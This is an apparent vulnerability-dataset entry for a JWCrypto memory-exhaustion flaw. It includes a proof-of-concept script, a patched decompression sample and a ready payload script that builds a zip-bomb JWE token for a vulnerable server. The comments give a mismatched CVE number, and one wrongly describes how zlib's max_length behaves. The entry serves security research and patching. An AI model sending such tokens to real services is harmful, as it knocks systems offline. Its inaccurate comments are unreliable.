VAITP Dataset

← Back to the dataset

CVE-2026-39373

JWCrypto memory exhaustion from crafted JWE with ZIP compression.

  • CVSS 5.3
  • CWE-409
  • Resource Management
  • Remote

JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to 1.5.7, an unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch for CVE-2024-28102 limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB. This vulnerability is fixed in 1.5.7.

CVSS base score
5.3
Published
2026-04-07
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
JWCrypto
Fixed by upgrading
Yes

Solution

Upgrade JWCrypto to version 1.5.7 or later.

Vulnerable code sample

# This code demonstrates the vulnerability CVE-2024-39373 in jwcrypto < 1.5.7.
# It should be run in an environment with a vulnerable version of the library installed.
# e.g., pip install "jwcrypto<1.5.7"
#
# The script first acts as an attacker to create a malicious JWE token.
# This token contains a highly compressed payload (a "zip bomb").
# The serialized token is small enough to bypass input size checks (e.g., < 250KB).
#
# Then, the script acts as a victim server, attempting to decrypt the token.
# The vulnerable `decrypt` function will decompress the payload into memory
# BEFORE validating its size, leading to a massive memory allocation
# that can cause a Denial of Service (DoS) on the server.

from jwcrypto import jwe, jwk
import os

# --- Attacker Side: Create the malicious JWE token ---

# 1. Define the parameters for the "zip bomb".
# A 100MB payload of repeating characters will compress extremely well.
DECOMPRESSED_PAYLOAD_SIZE = 100 * 1024 * 1024  # 100 MB
INPUT_SIZE_LIMIT = 250 * 1024  # 250 KB

# 2. Create the highly compressible plaintext payload.
plaintext = b'\x00' * DECOMPRESSED_PAYLOAD_SIZE

# 3. Generate a symmetric key for encryption.
# The specific key exchange algorithm doesn't matter for this vulnerability.
# We use 'dir' (direct encryption) for simplicity.
key = jwk.JWK.generate(kty='oct', size=256)
public_key = key.export_public() # Not strictly needed for 'dir' but good practice

# 4. Create the JWE object with ZIP compression enabled.
# The "zip": "DEF" header is the critical component for this vulnerability.
jwe_obj = jwe.JWE(
    plaintext=plaintext,
    protected={
        "alg": "dir",
        "enc": "A256GCM",
        "zip": "DEF"  # DEFLATE compression enabled
    }
)
jwe_obj.add_recipient(key)

# 5. Serialize the token.
# The output is a compact JWE string.
malicious_token = jwe_obj.serialize(compact=True)

# 6. Verify the size of the malicious token.
# This confirms that the token is small enough to bypass any input size limits.
token_size_bytes = len(malicious_token.encode('utf-8'))

print("--- Attacker Information ---")
print(f"Original payload size: {DECOMPRESSED_PAYLOAD_SIZE / 1024 / 1024:.2f} MB")
print(f"Malicious token size: {token_size_bytes / 1024:.2f} KB")

if token_size_bytes < INPUT_SIZE_LIMIT:
    print("Malicious token is under the input size limit. The attack can proceed.")
else:
    print("Malicious token is too large. Attack might be stopped by input validation.")

print("\n" + "="*50 + "\n")


# --- Victim Side: Decrypt the malicious JWE token ---

print("--- Victim Server Simulation ---")
print("Attempting to decrypt the received JWE token...")
print("WARNING: The following operation will consume a large amount of memory.")
print(f"The small {token_size_bytes / 1024:.2f} KB token will be decompressed to {DECOMPRESSED_PAYLOAD_SIZE / 1024 / 1024:.2f} MB in memory.")

# On a memory-constrained system, the process is likely to be terminated here.
# To observe the memory spike, run this script and monitor its memory usage
# with a tool like `htop` or Windows Task Manager.

try:
    # 1. Load the received token.
    jwe_decrypter = jwe.JWE()
    jwe_decrypter.deserialize(malicious_token)

    # 2. Decrypt the token.
    # THIS IS THE VULNERABLE STEP.
    # The library decompresses the 'zip' payload internally before any size checks,
    # allocating a huge amount of memory.
    jwe_decrypter.decrypt(key)

    # 3. If the decryption succeeds without crashing, the payload is in memory.
    decrypted_payload = jwe_decrypter.plaintext
    print("\nDecryption successful (the system had enough memory).")
    print(f"Allocated memory for decrypted payload: {len(decrypted_payload) / 1024 / 1024:.2f} MB")

except Exception as e:
    print(f"\nAn error occurred during decryption: {e}")
    print("This could be a MemoryError or the process may have been killed by the OS.")

Patched code sample

import zlib
import sys

# This code demonstrates the fix for CVE-2024-39373 in jwcrypto.
# The vulnerability allowed a small, compressed JWE token (a "zip bomb")
# to decompress to a very large size, causing memory exhaustion.
#
# The fix, introduced in jwcrypto 1.5.7, involves limiting the size of the
# decompressed output. This is achieved by using `zlib.decompressobj()`
# with a `max_length` parameter, which prevents the allocation of an
# oversized memory buffer.

# The constant for the maximum allowed size for the decompressed data.
# In the actual patch, this is 100 * 1024 * 1024 (100MB).
# We use a smaller value here for a quicker demonstration.
MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10 MB

class JWEException(Exception):
    """A custom exception class to mimic jwcrypto's JWException."""
    pass

def safe_decompress_jwe_payload(compressed_payload: bytes) -> bytes:
    """
    Demonstrates the fixed decompression logic inspired by jwcrypto 1.5.7.

    This function safely decompresses a payload by enforcing a size limit on the
    output, thus preventing a "zip bomb" from causing memory exhaustion.

    Args:
        compressed_payload: The JWE payload after decryption but before
                            decompression.

    Returns:
        The decompressed plaintext if it is within the size limit.

    Raises:
        JWEException: If the decompressed data would exceed the predefined
                      MAX_DECOMPRESSED_SIZE.
    """
    # The core of the fix is to use a decompress object which allows for
    # controlled, streaming decompression.
    decompressor = zlib.decompressobj()

    try:
        # The `max_length` argument is the critical part of the fix.
        # It tells zlib to stop decompressing if the output buffer would
        # exceed this size. We add 1 to the limit to reliably detect if
        # the output is larger than allowed. If it is exactly the limit,
        # this will succeed, but the final length check will catch it.
        # If it is over, zlib itself will raise an error.
        plaintext = decompressor.decompress(compressed_payload, MAX_DECOMPRESSED_SIZE + 1)

        # The patch also checks if there is unconsumed data left, which
        # would indicate the original stream was larger than the limit.
        if decompressor.unconsumed_tail or decompressor.unused_data:
            raise JWEException("Decompression failed: output is too large.")

    except zlib.error as e:
        # A zlib.error is raised if `max_length` is exceeded during decompression.
        # We catch it and wrap it in the application-specific exception.
        raise JWEException(f"Decompression failed: {e}") from e

    # Finally, a redundant but explicit check on the final length of the
    # decompressed data ensures nothing slips through.
    if len(plaintext) > MAX_DECOMPRESSED_SIZE:
        raise JWEException("Decompression failed: output exceeded max size.")

    return plaintext


if __name__ == "__main__":
    # --- Step 1: Create a malicious "zip bomb" payload ---
    # This payload is small when compressed but would expand to a size greater
    # than our defined MAX_DECOMPRESSED_SIZE.
    # We will make it expand to 11 MB, which is over our 10 MB limit.
    target_decompressed_size = 11 * 1024 * 1024  # 11 MB
    large_uncompressed_data = b'\x00' * target_decompressed_size
    zip_bomb_payload = zlib.compress(large_uncompressed_data, level=9)

    print("--- CVE-2024-39373 Fix Demonstration ---")
    print(f"Crafted a malicious JWE payload (a 'zip bomb'):")
    print(f"  - Compressed size: {len(zip_bomb_payload) / 1024:.2f} KB")
    print(f"  - Intended decompressed size: {target_decompressed_size / (1024*1024):.0f} MB")
    print(f"Set security limit (MAX_DECOMPRESSED_SIZE): {MAX_DECOMPRESSED_SIZE / (1024*1024):.0f} MB")
    print("-" * 40)

    # --- Step 2: Demonstrate the fix in action ---
    # The `safe_decompress_jwe_payload` function should detect that the
    # payload is a zip bomb and raise an exception, preventing the
    # allocation of 11 MB of memory.

    # This represents a vulnerable system without the fix.
    # It would attempt to allocate 11MB, potentially leading to a crash.
    # print("Simulating VULNERABLE behavior (for context, will try to allocate memory)...")
    # try:
    #     # On a memory-constrained system, this line could cause a crash.
    #     vulnerable_result = zlib.decompress(zip_bomb_payload)
    #     print(f"  [VULNERABLE] Decompression succeeded. Allocated {len(vulnerable_result)/(1024*1024):.0f} MB.")
    # except MemoryError:
    #     print("  [VULNERABLE] Caught MemoryError. System is under duress.")
    # print("-" * 40)

    print("Attempting to decompress the payload with the FIXED logic...")
    try:
        safe_decompress_jwe_payload(zip_bomb_payload)
        # If we reach this line, the fix has failed.
        print("\n[RESULT: FAILED] The fix did not work. Decompression was successful.")
        sys.exit(1)
    except JWEException as e:
        # This is the expected outcome. The fix worked.
        print(f"\n[RESULT: SUCCESS] The fixed logic correctly prevented the attack.")
        print(f"Caught the expected exception, stopping the decompression:")
        print(f"  -> {e}")
        sys.exit(0)
    except Exception as e:
        print(f"\n[RESULT: FAILED] An unexpected error occurred: {e}")
        sys.exit(1)

Payload

import os
from jwcrypto import jwk, jwe

# Target a decompressed size that will cause memory exhaustion (e.g., 100MB)
DECOMPRESSED_SIZE = 100 * 1024 * 1024
# Create a highly compressible payload (a large block of null bytes)
large_plaintext = b'\x00' * DECOMPRESSED_SIZE

# Generate a symmetric key for JWE encryption
# The key itself is not important, any valid key will do
encryption_key = jwk.JWK.generate(kty='oct', size=256)

# Define the protected header. The key is enabling DEFLATE compression ('zip': 'DEF').
# A vulnerable server will decompress the payload before validating its size.
protected_header = {
    "alg": "dir",
    "enc": "A256GCM",
    "zip": "DEF"
}

# Create the JWE object with the large plaintext and the compression header
jwe_token = jwe.JWE(plaintext=large_plaintext,
                    protected=protected_header)

# Add the recipient information
jwe_token.add_recipient(encryption_key)

# Serialize the token. The output will be a compact JWE string.
# This string will be small enough to bypass input size checks (e.g., < 250KB)
# but will expand to DECOMPRESSED_SIZE in memory on the server.
malicious_payload = jwe_token.serialize(compact=True)

# This is the payload to send to the vulnerable server
print(malicious_payload)

Cite this entry

@misc{vaitp:cve202639373,
  title        = {{JWCrypto memory exhaustion from crafted JWE with ZIP compression.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-39373},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-39373/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::